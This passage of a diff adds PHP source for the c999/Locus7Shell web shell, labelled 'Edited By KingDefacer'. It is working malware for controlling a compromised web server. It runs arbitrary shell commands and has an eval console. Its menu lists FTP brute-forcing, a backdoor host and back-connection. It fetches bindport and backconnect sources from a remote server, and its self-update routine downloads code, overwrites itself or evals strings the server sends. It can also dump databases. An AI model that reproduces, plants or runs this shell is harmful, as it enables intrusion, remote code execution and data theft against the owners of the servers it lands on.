+array("<br><center><b>[Enumerate]</b>",$enumerate), +array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"), +array("<b>[Tools]</b>",$surl."act=tools&d=%d"), +array("<b>[Proc.]</b>",$surl."act=processes&d=%d"), +array("<b>[FTP Brute]</b>",$surl."act=ftpquickbrute&d=%d"), +array("<b>[Sec.]</b>",$surl."act=security&d=%d"), +array("<b>[SQL]</b>",$surl."act=sql&d=%d"), +array("<b>[PHP-Code]</b>",$surl."act=eval&d=%d"), +array("<b>[Backdoor Host]</b>",$surl."act=shbd"), +array("<b>[Back-Connection]</b>",$surl."act=backc"), +array("<b>[milw0rm it!]</b>",$millink), +array("<b>[PHP-Proxy]</b>",$phprox), +array("<b>[Self remove]</b></center>",$surl."act=selfremove") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c999shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +/*function ex($cfe) +{ +$res = ''; +if (!empty($cfe)) +{ + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } +} +return $res; +}*/ +/*function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ +$w_file=@fopen($fname,"w") or err(0); +if($w_file) +{ +@fputs($w_file,@base64_decode($text)); +@fclose($w_file); +} +}*/ +/*function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +}*/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ALTURKS.COM/\">x2300 Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ +if (empty($md5_pass)) {$md5_pass = md5($pass);} +if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) +{ + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); +} +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ +$disablefunc = str_replace(" ","",$disablefunc); +$disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c999_buff_prepare")) +{ +function c999_buff_prepare() +{ +global $sess_data; +global $act; +foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} +foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} +$sess_data["copy"] = array_unique($sess_data["copy"]); +$sess_data["cut"] = array_unique($sess_data["cut"]); +sort($sess_data["copy"]); +sort($sess_data["cut"]); +if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} +else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c999_buff_prepare(); + +if (!function_exists("c999_sess_put")) +{ +function c999_sess_put($data) +{ +global $sess_cookie; +global $sess_data; +c999_buff_prepare(); +$sess_data = $data; +$data = serialize($data); +setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ +if (!empty($_GET[$v])) {$$v = $_GET[$v];} +if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ +if (!empty($sort)) {setcookie("sort",$sort);} +if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ +if (strlen($content) > $len) +{ + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); +} +else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ +if (!is_numeric($size)) {return FALSE;} +else +{ + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; +} +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$h = opendir($d); +while (($o = readdir($h)) !== FALSE) +{ + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } +} +closedir($h); +return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +$t = str_replace("\\",DIRECTORY_SEPARATOR,$t); +if (!is_dir(dirname($t))) {mkdir(dirname($t));} +if (is_dir($d)) +{ + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); +} +elseif (is_file($d)) {return copy($d,$t);} +else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ +$h = opendir($d); +if (!is_dir($t)) {mkdir($t);} +while (($o = readdir($h)) !== FALSE) +{ + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } +} +closedir($h); +return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +$t = str_replace("\\",DIRECTORY_SEPARATOR,$t); +if (is_dir($d)) +{ + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); +} +elseif (is_file($d)) +{ + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} +} +else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ +$h = opendir($d); +while (($o = readdir($h)) !== FALSE) +{ + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } +} +closedir($h); +rmdir($d); +return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ +$o = str_replace("\\",DIRECTORY_SEPARATOR,$o); +if (is_dir($o)) +{ + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); +} +elseif (is_file($o)) {return unlink($o);} +else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ +global $disablefunc; +$result = ""; +if (!empty($cmd)) +{ + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } +} +return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ +if (($mode & 0xC000) === 0xC000) {$type = "s";} +elseif (($mode & 0x4000) === 0x4000) {$type = "d";} +elseif (($mode & 0xA000) === 0xA000) {$type = "l";} +elseif (($mode & 0x8000) === 0x8000) {$type = "-";} +elseif (($mode & 0x6000) === 0x6000) {$type = "b";} +elseif (($mode & 0x2000) === 0x2000) {$type = "c";} +elseif (($mode & 0x1000) === 0x1000) {$type = "p";} +else {$type = "?";} + +$owner["read"] = ($mode & 00400)?"r":"-"; +$owner["write"] = ($mode & 00200)?"w":"-"; +$owner["execute"] = ($mode & 00100)?"x":"-"; +$group["read"] = ($mode & 00040)?"r":"-"; +$group["write"] = ($mode & 00020)?"w":"-"; +$group["execute"] = ($mode & 00010)?"x":"-"; +$world["read"] = ($mode & 00004)?"r":"-"; +$world["write"] = ($mode & 00002)? "w":"-"; +$world["execute"] = ($mode & 00001)?"x":"-"; + +if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} +if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} +if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + +return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ +if (($mode & 0xC000) === 0xC000) {$t = "s";} +elseif (($mode & 0x4000) === 0x4000) {$t = "d";} +elseif (($mode & 0xA000) === 0xA000) {$t = "l";} +elseif (($mode & 0x8000) === 0x8000) {$t = "-";} +elseif (($mode & 0x6000) === 0x6000) {$t = "b";} +elseif (($mode & 0x2000) === 0x2000) {$t = "c";} +elseif (($mode & 0x1000) === 0x1000) {$t = "p";} +else {$t = "?";} +$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; +$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; +$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; +return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ +$one = intval($sort); +$second = substr($sort,-1); +if ($second != "d") {$second = "a";} +return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ +if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} +elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} +else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c999getsource")) +{ +function c999getsource($fn) +{ +global $c999sh_sourcesurl; +$array = array( + "c999sh_bindport.pl" => "c999sh_bindport_pl.txt", + "c999sh_bindport.c" => "c999sh_bindport_c.txt", + "c999sh_backconn.pl" => "c999sh_backconn_pl.txt", + "c999sh_backconn.c" => "c999sh_backconn_c.txt", + "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt", + "c999sh_datapipe.c" => "c999sh_datapipe_c.txt", +); +$name = $array[$fn]; +if ($name) {return file_get_contents($c999sh_sourcesurl.$name);} +else {return FALSE;} +} +} +if (!function_exists("c999sh_getupdate")) +{ +function c999sh_getupdate($update = TRUE) +{ +$url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; +$data = @file_get_contents($url); +if (!$data) {return "Can't connect to update-server!";} +else +{ + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} +} +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ +global $shver; +$sock = $set["sock"]; +$db = $set["db"]; +$print = $set["print"]; +$nl2br = $set["nl2br"]; +$file = $set["file"]; +$add_drop = $set["add_drop"]; +$tabs = $set["tabs"]; +$onlytabs = $set["onlytabs"]; +$ret = array(); +$ret["err"] = array(); +if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} +if (empty($db)) {$db = "db";} +if (empty($print)) {$print = 0;} +if (empty($nl2br)) {$nl2br = 0;} +if (empty($add_drop)) {$add_drop = TRUE;} +if (empty($file)) +{ + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; +} +if (!is_array($tabs)) {$tabs = array();} +if (empty($add_drop)) {$add_drop = TRUE;} +if (sizeof($tabs) == 0) +{ + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} +} +$out = "# Dumped by Locous7Shell.SQL v. ".$shver." +# Home page: http://www.ALTURKS.COM +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; +$c = count($onlytabs); +foreach($tabs as $tab) +{ + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } +} +$out .= "#---------------------------------------------------------------------------------\n\n"; +if ($file) +{ + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } +} +if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} +return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ +if (!is_array($array)) {$array = array();} +$result = ""; +foreach($array as $k=>$v) +{ + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; +} +$result = substr($result,0,strlen($result)-strlen($sep)); +return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ +if ($sock) {$result = mysql_query($query,$sock);} +else {$result = mysql_query($query);} +$array = array(); +while ($row = mysql_fetch_array($result)) {$array[] = $row;} +mysql_free_result($result); +return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ +if ($sock) {$error = mysql_error($sock);} +else {$error = mysql_error();} +$error = htmlspecialchars($error); +return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ +global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; +if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} +if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} +if ((!$submit) or ($sql_act)) +{ + echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } +} +if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ +$sql = "CREATE DATABASE `".addslashes($db)."`;"; +if ($sock) {return mysql_query($sql,$sock);} +else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ +$query = trim($query); +$arr = explode (" ",$query); +/*array array() +{ + "METHOD"=>array(output_type), + "METHOD1"... + ... +} +if output_type == 0, no output, +if output_type == 1, no output if no error +if output_type == 2, output without control-buttons +if output_type == 3, output with control-buttons +*/ +$types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) +); +$result = array(); +$op = strtoupper($arr[0]); +if (is_array($types[$op])) +{ + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } +} +else {return FALSE;} +} +} +if (!function_exists("c999fsearch")) +{ +function c999fsearch($d) +{ +global $found; +global $found_d; +global $found_f; +global $search_i_f; +global $search_i_d; +global $a; +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$h = opendir($d); +while (($f = readdir($h)) !== FALSE) +{ + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c999fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } +} +closedir($h); +} +} + +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ +global $gzipencode,$ft; +if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) +{ + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); +} +} +function c999shexit() +{ +onphpshutdown(); +exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ +$tmpdir = ini_get("upload_tmp_dir"); +if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ +$safemode = TRUE; +$hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - Locus7Shell - Edited By KingDefacer</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #009900; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #009900; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #009900; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #f89521; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #f89521; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #f89521; TEXT-DECORATION: none;}A:hover { COLOR: #f89521; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #009900; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #009900;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"> +</th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ +$t = ""; +$j = 0; +foreach ($e as $r) +{ + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; +} +echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; +$i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ +$wd = TRUE; +$wdt = "<font color=green>[ ok ]</font>"; +echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ +$wd = FALSE; +$wdt = "<font color=red>[ Read-Only ]</font>"; +echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ +$free = disk_free_space($d); +$total = disk_total_space($d); +if ($free === FALSE) {$free = 0;} +if ($total === FALSE) {$total = 0;} +if ($free < 0) {$free = 0;} +if ($total < 0) {$total = 0;} +$used = $total-$free; +$free_percent = round(100/($total/$free),2); +echo "<br><b>Free 